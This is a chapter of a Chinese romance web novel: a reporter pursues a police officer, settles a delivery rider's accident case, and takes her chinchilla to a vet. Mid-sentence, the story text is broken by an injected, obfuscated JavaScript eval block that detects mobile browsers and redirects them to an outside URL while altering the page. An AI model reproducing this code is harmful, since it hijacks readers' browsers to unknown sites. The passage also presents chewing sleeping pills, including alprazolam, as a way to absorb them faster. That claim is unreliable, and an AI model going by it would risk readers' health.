“是我的错。话说回来,我觉得我还挺实用主义的,我发现了况野的一项隐藏技能,对我很有用的。” “什么?” “两次,在他车上我都睡得可熟了,被叫才会醒的那种,应该算深度睡眠吧。” 戚许努力想让所有人都觉得,那场事故以及之后连带的,她几乎成为了孤儿这件事,在她身上没有留下任何痕迹。 可确实有很多事,是不以她的意志为转移的,就比如她形同虚设的睡眠。 一开始靠镇定剂的作用,她可以头昏脑涨地睡着,但一定会在尖叫痛哭里惊醒。之后她被打包送到完全陌生的国外,强烈的飘零感和孤独感长时间裹挟着她,每到深夜就是整个人最颓丧的时候。 于是,她又成为了心理谘商师的常客。并不想诋毁人家工作的意义,只是那一全套治疗,她像尝百草一样挨个儿试过,收效实在甚微。 真正起到些作用的,是凭借他们开出的处方,她拿到的各个名目的安眠药。 睡前半小时,嘎嘣脆地嚼碎,再和水吞服。 戚许亲测,这样吸收效果比正片吞服的好。 对于觉得在车上很容易睡着这件事,戚许稍微搜索就发现,很多人都有同样的感受。而大概原理无非是,坐车导致身体各器官疲惫、车内环境封闭导致二氧化碳浓度高以及汽车行驶时的低频震动就像摇篮一样,能快速引发睡意。 “但我坐其他车和其他人开的车的时候,暂时没有这种现象。那种时候我的神经应该很亢奋,在观察周围的人和事。” 孟雪乔泼她冷水,“那简单了,因为他身上没有什么值得你观察的,你潜意识里对他不感兴趣。” 戚许翻了个身,趴在床上,声音闷闷的,“你这小嘴跟淬了毒似的。” “我是怕你失望,虽然我对你的魅力也很有信心。不过你家况警官这个性格,就算今天换成是个老太太,他也会做同样的事,可能还会背人家上楼送到家门口呢。” “我不愿意承认,但你说得有道理。” 孟雪乔打了个呵欠,把被子往胸|前拉了拉,瞄了眼床边狗窝里已经翻肚皮打呼噜的锅仔,“所以呀,去参加户外俱乐部吧,继续努力。” “哼。” 挂断语音电话,戚许还是全无睡意,但今天大概是类似小学生春游综合征一样的,莫名的兴奋。 她滑下床,去给自己来了两片阿普唑仑,不想第二天起来太肿,只少喝了一点水送下药片。 起效还需要点时间,戚许刷了会儿小地瓜,在一个回复量很高的帖子下面看到某个患儿家长求助的消息。 虽然知道这类内容很多其实是一种新型电诈,看到躺在病床上虚弱的幼儿她还是会觉得心脏一紧,进而想到况野告诉她的,那个外卖骑手住院的孩子。 她打开微信,想和况野商量一下,单独再约老张一次,让他准备一些跟外包公司当初签的合同还有孩子生病的资料。 打字的时候犹豫了一下,这个时间,况野一定是早就睡着了的。 也没关系,他睡醒了看到再给自己回复不就好了。 于是按下发送,切回小地瓜,准备再看会儿就睡觉。 没想,况野的回复很快,虽然像他本人说话风格一样简短。 “好的。” 戚许手指翻飞飞快打字,“你还没睡?” “嗯,拉登可能是白天睡多了,晚上精神比较好,一直不睡,弄出声响,我也还没睡着。”况野坐在马桶上回复,心虚地跟守在卫生间门口确实还没睡着的拉登对视了一眼。 “抱歉了,让你背锅。” 拉登眨了下眼睛,原地卧下,继续看守自己的主人。 况野盯着屏幕顶端的“对方正在输入中”好半天,对方还没输入完。 他看不到所以也不知道的是,刚刚戚许得到他的回复,以为今天两个人的微信聊天就到此为止了,对于目前所取得的进展她很满意,所以也并不准备刚拓展了沟通渠道就立刻穷追猛打。 只是在切出微信之前,她不小心按到一个字母,她没注意到。 而十几分钟后,药效发作,她很习惯地最后将手机放到床头柜上充电,然后陷入昏沉。 这晚况野很久违地熬了个大夜。 其实,也不全是因为要等着回复戚许一直没发过来的信息。 他的肠胃是个什么“质量”,他自己很了解,在陪着戚许吃湘菜的时候就想到了这个结局。所以回家前,在小区门口药店买了肠炎药。 但显而易见,药物没怎么发挥作用。 不过他不准备让戚许知道这件事,也不懂什么影不影响自己形象的。 就单纯觉得,如果她知道了,先会自责,向他道歉,然后呢,就再也不会叫他一起做任何事,因为不想因为自己给他增加麻烦和困扰。 那样的结果,是他不愿意的。 ** 一周后,外卖小哥逆行撞豪车的这期节目在森城都市频道播出了。 整个事件,算是有了一个除了外包公司觉得受到损失之外,其他几方都很满意的结果。 戚许同事的律师老公提供了法律咨询,确认了,无论是全职员工还是外卖骑手,只要与公司存在劳动关系,都有权享受社会保险,而老张所在的外包公司违反了劳动法和社会保险法。 又经过一番辗转,戚许见到了外包公司人事部门的主管和总经理,经过协商,最终公司同意承担赔偿责任并为目前雇佣的全部骑手购置保险。 签事故认定书那天,戚许和摄像大哥也到了现场拍摄,戚许计划将骑手老张和妻子向女车主鞠躬道歉和女车主到医院探望老张孩子的片段放到最后,就像所有“包饺子”的电视剧大结局一样。 在交警队的最后一幕拍完收工,戚许请大家吃肯德基,理由是赶上了疯狂星期四。 反正她不会承认,她是因为一个星期没有见到况野了,想跟他一起吃点垃圾食品的。 刘金柱很狗腿地帮戚许去门口取餐,一口一个姐叫着。 伸手不打笑脸人,加上细问之下,戚许得知这孩子比邵珩还要小两岁,一笑起来不大的眼睛就眯成条缝,露出满口大白牙,显得格外质朴。 自然前嫌尽释,她收了个新的小弟。 还是上次那间会议室,被临时征用做茶话室。 戚许逮着羊毛使劲薅,买的分量几乎够二十个人吃,于是这一天食堂里少了一些常见的身影。 老梁也来凑热闹,不过他有胆囊炎,还有老胃病,怕不好消化,只吃了几个鸡块和蛋挞。 见到戚许这么活蹦乱跳的,他也很高兴,跟她聊了半天。 中老年人的话题,兜兜转转都逃不过他们强烈的想当月老给人牵红线。 在得知戚许并没有男朋友之后,老梁朝况野和他身旁几个同龄的年轻同事努努嘴,“那看看我们队里有没有你相中的嘛,我帮你介绍。” 摄像大哥听到,在一旁啃着吮指原味鸡偷笑。 戚许微微不好意思,想着之后没准儿真的需要老人家的助攻,也就没有一口回绝。 “等我选好了告诉您。” “哈哈,行!” 正说笑,戚许的手机响,她看了眼屏幕,是姨妈打来的。 姨妈工作时间很少给她打电话,不知道是有什么着急的事,戚许手里原本捏着个辣堡,溢出的酱料粘得嘴角和手指上都是。 她用手背想滑动屏幕接起电话,没有成功。 身旁伸过来一只拿着湿巾的手,戚许接过来随口道声谢,擦干净手接起电话。 转头才发现,况野不知道什么时候坐在她旁边,刚递湿巾的也是他。 姨妈打电话来是告诉戚许,她给皮皮打扫笼子,发现它精神状态一般,呆在自己的小木屋里不出来,逗弄也恹恹的,食碗里的龙猫粮几乎没有动。 戚许根据养鼠常识推测可能是肠胀气,不过最好是去医院拍下X光确认,龙猫实际上是很脆弱的动物。 她迅速决定好下午请个假,告诉姨妈自己一小时内会到家,让她帮忙准备好外带笼。 况野发现了她表情焦急,斟酌一下还是问了发生了什么事。 戚许正好跟他打听,森城哪家医院医治异宠比较在行,她这本地人阔别六年,还没有况野了解这座城市。 况野提醒,上次他推荐的那家,拉登常去的。 戚许也是一时着急头脑昏乱,跟摄像大哥和老梁都交代了一声,往外走去。 况野在后面跟上她,“已经帮你叫好了车,订单发给你了。” 戚许这才看到屏幕上一条未读消息,“谢谢。” 况野陪她在门口站了一下,看到车驶近,核对了一下车牌号。 “别担心。”他宽慰道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599519|172009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 戚许朝他勉强扯了下嘴角,“我先去接上皮皮。” ** 到家的时候,姨妈已经把皮皮抱进了外带笼里,拿着它平时喜爱的零食晃,它也只是看看,像只母鸡一样蹲着,揣着两只小手。 车开不进小区,戚许叫司机在门口等她。 戚许提着笼子,安抚了姨妈几句,叫她不要多心。姨妈本身对鼠类动物并无好感,是因为她喜欢才帮忙照顾,现在皮皮状态不好,姨妈会认为是自己的问题,戚许不希望她这样想。 路上已经打去电话说明了情况,到宠物医院之后,便有穿着制服的年轻小姑娘接待了戚许。 她接过了外带笼,瞧了眼里面的皮皮。 “是这个小朋友啊。” “您先在这里登记,我带小朋友进去诊室,让江医生给它检查一下。再跟您确认,主要症状就是厌食、没有活力、母鸡蹲是吧?” 戚许握着笔,已经在她递来的表格上填写起来。 “是的。” 填好表格并预交了一部分费用,前台这儿就没她什么事了。 消毒之后,她也被允许进入诊室。 皮皮已经被放到了诊台上,仰面朝上躺着,一个年轻男医生带着手套正一手挠着它下巴,一手轻轻在它小肚子上摩挲。 看到戚许进来,他语气轻松,“没什么大事,应该就是吃得太多不好消化,肠胀气了。” 因这会儿没什么“患者”,皮皮刚拍完的片子已经出来了放在展示架上。 男医生指给戚许看,“刚量了体重差不多900克,属于是偏胖了,平时喂的粮应该也是蛋白含量比较高的吧?” 戚许点头,“网上说这个是最好的。” “再加上平时零食吃得也不少,但是不严重,这儿有一小团。” “那现在的治疗方案是?” 医生坐回电脑前开处方,“每天半粒西甲硅油,益生菌你家里常备的话就不用重新买了,再吃些草粉和果泥,促进消化。然后,我再教你给它按摩的手法,两三天就会痊愈的。” 戚许彻底放下心来,又认真跟医生学习了按摩手法,这个年轻男医生的动作很轻柔,应该也很有跟这种小动物相处的经验,所以手法娴熟,皮皮难得的很配合,眯眼呲牙的享受。 按摩完,医生建议再留下观察一小时左右,能够正常排便再带回去。 戚许已经请完了假,下午也没安排什么事,皮皮去住寄养屋,她在休息区打发时间。 很凑巧,电视上播放的正好是宫崎骏的《龙猫》。 这个片子戚许也有好些年没重温了,都想不起来结局是什么了,索性放下手机看起电视来。 没一会儿,她觉察旁边那张单人扶手沙发上也坐了人,余光瞥到,是刚刚的男医生,他摘掉了口罩,戚许是凭借一模一样的眼镜辨认出的。 “嗨。”她打招呼。 男医生微笑,“上班摸会儿鱼。” 他目光也投向屏幕,“这里面的龙猫外形、配色是比较还原的,但它们是很需要人类照顾的动物,这种暖男的形象跟实际上的还是不太贴合的。” “可不,”戚许附和,“我小时候还以为皮卡丘也是龙猫,短手、大尾巴,不爱住精灵球。” “原作者说明过,创作原型是一只红松鼠。”男医生看向戚许,他的声音很清朗。 “是啊,搞得我当时还想再养一只松鼠,直到我又看了《侏罗纪公园》,发现可能霸王龙的后代也是龙猫。” 戚许模仿霸王龙的经典动作,走了几步,“骨骼结构基本相同,就是没想到会进化成这种软萌可欺的样子。” 医生被逗笑,他又问,“你是况野的朋友吧?” 真是想不到,况野那性格会有这么活泼的朋友。 “他跟你说过我?”戚许坐回刚才的位置,有点出乎意料。 “说他的朋友要带龙猫过来,家里还有一只有基因缺陷的猫,是你吧?”同时,他也知道了这两只宠物的来源都是领养,他是很支持领养代替购买的。 戚许试探,“你们很熟?” “认识也有五六年了,算朋友。” “那也很了解他咯?” “可以这么说。”医生扶了下眼镜,“我们两个都不算很外向的性格,反倒有的时候能聊到一块儿。” 戚许打开外卖软件,抓紧着订了两杯奶茶,准备“贿赂”一下这个自己刚开拓的信息来源。 因加了打赏,距离也近,十分钟左右骑手便风风火火送到。 戚许递给医生那杯,是万能的几乎不会有人拒绝的口味,自己拿常喝的口味,向他打听起况野朋友圈里的那个户外俱乐部。 医生告诉她,那家俱乐部应该算是况野和几个他的战友合伙开的,因为都比较爱好户外运动,有些活动况野会做领队。 “我也是那家的会员,我看下活动安排,正好这周末就有一场。” 戚许已经在这短暂的几秒,安排好了自己周末的日程。 医生稍微眯了眯眼睛,重新打量戚许,“你是想追他?” 戚许大大方方:“我是想让他追我。” “那你可以直接找他报名。”医生啜了一口奶茶。 戚许咬着吸管,眼睛重新盯回电视屏幕,“虽然不怎么可信吧,但我要制造的是偶遇。” 如果让况野觉察,她非常主动且目的性很强地往他身边凑,她高傲的形象可怎么办,面子往哪里放。